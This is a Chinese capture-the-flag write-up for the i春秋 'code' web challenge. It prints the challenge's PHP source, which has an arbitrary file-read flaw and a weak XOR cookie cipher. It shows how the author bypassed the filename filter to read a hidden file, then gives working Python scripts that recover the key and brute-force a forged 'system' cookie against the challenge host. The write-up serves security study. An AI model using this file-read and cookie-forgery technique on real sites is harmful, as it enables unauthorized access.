i春秋 WEB code

一天一道CTF题目,能多不能少

打开网页入目的是一张图,查看网页源代码,发现图片是base64的加密,可能存在文件读取,尝试读取index.php的文件,得到源码:

<?php
/*** Created by PhpStorm.* Date: 2015/11/16* Time: 1:31*/
header('content-type:text/html;charset=utf-8');
if(! isset($_GET['jpg']))header('Refresh:0;url=./index.php?jpg=hei.jpg');
$file = $_GET['jpg'];
echo '<title>file:'.$file.'</title>';
$file = preg_replace("/[^a-zA-Z0-9.]+/","", $file);
$file = str_replace("config","_", $file);
$txt = base64_encode(file_get_contents($file));echo "<img src='data:image/gif;base64,".$txt."'></img>";
/** Can you find the flag file?**/
?>

发现可能存在config.php文件,不过过滤了,访问肯定是不成功的~
看见Created by PhpStorm,知道是用PhpStorm写的,这个软件写的时候会生成一个.idea的文件夹,它存储了项目的配置文件,
一般还存在workspace.xml,打开.idea/workspace.xml可以发现:

存在这几个文件,访问fl3g_ichuqiu.php,发现一个表情,直接读取源码,可是下划线是被过滤的,所以用config代替,也就是直接访问index.php?jpg=fl3gconfigichuqiu.php,得到源码:

<?php
/*** Created by PhpStorm.* Date: 2015/11/16* Time: 1:31*/
error_reporting(E_ALL || ~E_NOTICE);
include('config.php');//获取length位数的随机字符串
function random($length, $chars = 'ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789abcdefghijklmnopqrstuvwxyz') {$hash = '';$max = strlen($chars) - 1;for($i = 0; $i < $length; $i++)  {$hash .= $chars[mt_rand(0, $max)];}return $hash;
}//加密过程,txt是明文,key是秘钥
function encrypt($txt,$key){for($i=0;$i<strlen($txt);$i++){$tmp .= chr(ord($txt[$i])+10);               //txt内容的ascii码增加10}$txt = $tmp;$rnd=random(4);                                    //取4位随机字符$key=md5($rnd.$key);                          //随机字符与秘钥进行拼接得到新的秘钥$s=0;for($i=0;$i<strlen($txt);$i++){if($s == 32) $s = 0;$ttmp .= $txt[$i] ^ $key[++$s];             //将明文与key按位进行异或}return base64_encode($rnd.$ttmp);               //base64加密
}//解密过程,txt是密文,key是秘钥
function decrypt($txt,$key){$txt=base64_decode($txt);$rnd = substr($txt,0,4);                     //减掉4位随机数       $txt = substr($txt,4);                         //真正的密文$key=md5($rnd.$key);$s=0;for($i=0;$i<strlen($txt);$i++){if($s == 32) $s = 0;$tmp .= $txt[$i]^$key[++$s];                //将密文与秘钥进行异或得到tmp}for($i=0;$i<strlen($tmp);$i++){$tmp1 .= chr(ord($tmp[$i])-10);}return $tmp1;                                  //明文
}
$username = decrypt($_COOKIE['user'],$key);          //获取cookie的内容
if ($username == 'system'){                         //如果解密后等于system打印flagecho $flag;
}else{setcookie('user',encrypt('guest',$key));      //否则打印表情echo "╮(╯▽╰)╭";
}
?>

说实话,逻辑还是很清楚的,就是根据cookie的内容反推key,因为知道明文是guest,而我们需要的明文是system的key,所以我们可以先把前五位找出来,最后一位暴力去破,然而,用Python3却跑不出来!!!!最后看了大佬的wp之后,又敲了一遍脚本,大佬用的是Python2写的,我就想转成Python3,可是转成Python3还是出不来,Python2直接秒出,如果有大佬能够知道为啥希望能指导一手,感激~~

贴上Python2的成功脚本:

# _*_ coding: utf-8 _*
from base64 import *
import requests
import string#设置URL
url = "http://ce4d7cd87bd0400eae49ec2fa094677525d7825dd2e64350.changame.ichunqiu.com/fl3g_ichuqiu.php"cookie = requests.get(url).cookies['user']          #请求该URL,获取user的COOKIE值txt = b64decode(cookie)                               #将得到的cookie进行base64解码
rnd = txt[:4]                                      #密文前四位是随机字符
tmp = txt[4:]                                      #guest与key进行异或的密文,5位
key = list('123456')                             #key为6位的字符,目前不知是啥
guest = list('guest')                                #guest明文
system = list('system')                                  for i in range(0,len(guest)):guest[i] = chr(ord(guest[i]) + 10)               #为加密做准备for i in range(0,len(guest)):key[i] = chr(ord(tmp[i]) ^ ord(guest[i]))      #得到key的前五位for i in range(0,len(system)):system[i] = chr(ord(system[i]) + 10)          #同样是为了加密做准备#准备爆破key的第6位
s = "ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789abcdefghijklmnopqrstuvwxyz"tmp_news = ''                                     #system与key的异或值
cookie_system = []
xstr = ""for ch in s:key[5] = chfor i in range(0,len(system)):tmp_news += chr(ord(system[i]) ^ ord(key[i]))xstr = rnd + tmp_news                            #随机字符与异或的结果拼接cookie_system.append(b64encode(xstr))          #base64加密,并加入到cookie_system中tmp_news = ""#print(cookie_system)for i in cookie_system:cookie = {'user':i.decode()}                  #设置cookieres = requests.get(url,cookies = cookie)     if "flag" in res.text:print res.text 

失败的Python3脚本╮(╯▽╰)╭(真心觉得和Python2一样,就是出不来!!!!):

import base64
import requests
import string#设置URL
url = "http://ce4d7cd87bd0400eae49ec2fa094677525d7825dd2e64350.changame.ichunqiu.com/fl3g_ichuqiu.php"cookie = requests.get(url).cookies['user']          #请求该URL,获取user的COOKIE值txt = base64.b64decode(cookie).decode()               #将得到的cookie进行base64解码
rnd = txt[:4]                                      #密文前四位是随机字符
tmp = txt[4:]                                      #guest与key进行异或的密文,5位
key = list('123456')                             #key为6位的字符,目前不知是啥
guest = list('guest')                                #guest明文
system = list('system')                                  for i in range(0,len(guest)):guest[i] = chr(ord(guest[i]) + 10)               #为加密做准备for i in range(0,len(guest)):key[i] = chr(ord(tmp[i]) ^ ord(guest[i]))      #得到key的前五位for i in range(0,len(system)):system[i] = chr(ord(system[i]) + 10)          #同样是为了加密做准备#准备爆破key的第6位
s = "ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789abcdefghijklmnopqrstuvwxyz"tmp_news = ''                                     #system与key的异或值
cookie_system = []
xstr = ""for ch in s:key[5] = chfor i in range(0,len(system)):tmp_news += chr(ord(system[i]) ^ ord(key[i]))xstr = rnd + tmp_news                            #随机字符与异或的结果拼接cookie_system.append(base64.b64encode(xstr.encode()))  #base64加密,并加入到cookie_system中tmp_news = ""#print(cookie_system)for i in cookie_system:cookie = {'user':i.decode()}                  #设置cookieres = requests.get(url,cookies = cookie)     if "flag" in res.text:print(res.text)

i春秋 WEB code相关推荐

  1. i春秋 WEB 象棋

    i春秋 WEB 象棋 一天一道CTF题目,能多不能少 打开页面,一副象棋映入眼帘,玩了一会,,,太菜了,打不过人机,,,: 打开网页源代码,仔细查看一番,发现有一处CTF的字样~~: 这个正则表达式嘛 ...

  2. i春秋 WEB fuzzing

    i春秋 WEB fuzzing 一天一道CTF题目,能多不能少 打开网页发现there is nothing,最后一通折腾什么都没有,最后进行抓包,得到提示: 按照提示应该是要构造ip,使用X-For ...

  3. i春秋 WEB Login

    i春秋 WEB Login 一天一道CTF题目,能多不能少 打开网页,发现登录,查看源代码,发现疑似账号密码的东西~: 登录,发现什么都没有,源码也没有什么~: 既然如此就抓包吧,bp启动: 发现一个 ...

  4. i春秋 WEB 123

    i春秋 WEB 123 一天一道CTF题目,能多不能少 打开网页一个登录框,按照惯例查看网页源代码,有所发现: 查看user.php,发现存在但是什么都没有,检查是否存在备份文件~ 发现存在: 下载打 ...

  5. i春秋 WEB GetFlag

    i春秋 WEB GetFlag 一天一道CTF题目,能多不能少 打开网页,点击login来到登陆页面: 发现验证码是截取MD5的验证:substr(md5(captcha), 0, 6)=3aab4a ...

  6. 暑期练习web25:web code(i春秋)index.php文件包含、base64图片加密

    这次有意思,上来就是个萌妹子 但我们不能光看妹子,学习更重要!查看一波源码,很长一段,前面提示了是base64(html中图片可以用base64表示,那么用base64表示的文本就是破损图片) 但是我 ...

  7. i春秋-Web(一)

    前言 做了几道i春秋的Web题,所以总结一下. Web1:爆破-1 题目提示:某六位变量.查看题目,发现是代码审计 <?php include "flag.php"; $a ...

  8. I春秋——web Write up(三)

    前言:继续总结,学习更多关于web知识和练习编写脚本的能力. GetFlag 一个登陆框加上验证码,不过有一点不同的是substr(md5(captcha), 0, 6)=e7e24a,截取MD5加密 ...

  9. I春秋——web Write up(二)

    前言:最近都没有更新过,感觉博客快荒废了,得更新了[]( ̄▽ ̄)*,这次总结一下做的一些web题. 一.Not Found 打开页面便是404,但是下面有一个404.php,访问一下 除下有出题人的h ...

最新文章

  1. 关于struts2如何去掉默认的后缀(.action)
  2. 解析1G到5G技术与设备发展历程
  3. 代理(Proxy)及常见示例
  4. Spring系列合并
  5. android 高斯模糊 c,c-如何在不使用任何内置高斯函数的情况下对图像进行高斯模糊处理?...
  6. 什么是倾斜45度的火山图?
  7. 个人作业-Week1
  8. nginx+uwsgi 部署
  9. 开方计算与浮点数的问题
  10. 调色板 palette 详解
  11. ultraiso软碟通dmg转iso图文教程
  12. 全桥电路matlab仿真,三相电压型桥式逆变电路及建模与仿真结构
  13. 海信系统 重装服务器,海信电视如何重刷系统
  14. 过等保是浪费钱吗?一定要过等保吗?
  15. A-瑞神的序列 B- 消消乐大师-Q老师(M3)
  16. l2范数求导_稀疏编码学习笔记(二)L2范数
  17. matlab 图像二值化 后0、1像素的个数统计
  18. STM32 W5500以太网通讯
  19. 前端 彩票开奖走势图的实现
  20. [转]应该怎么读Linux?

热门文章

  1. 谢文的离职代表着雅虎中国的没落?
  2. Latex排版Algorithm之algorithmic,algorithmicx,algorithm2e
  3. 经销商、代理商、分销商的关系
  4. 易门一中2021高考成绩查询,高考结束,预计6月23日前后查询成绩
  5. Elsevier 期刊 Latex 投稿模板
  6. 公告:关于问答导师和问答热心人的取消方案
  7. 关于POI合并单元格后加边框问题,请大家拍砖
  8. matlab数学运算规则,matlab数学运算基础
  9. GoLang下载与安装-三种安装方式
  10. Total Commander Ultima Prime(全能文件管理器)官方中文版V8.1 | total commander下载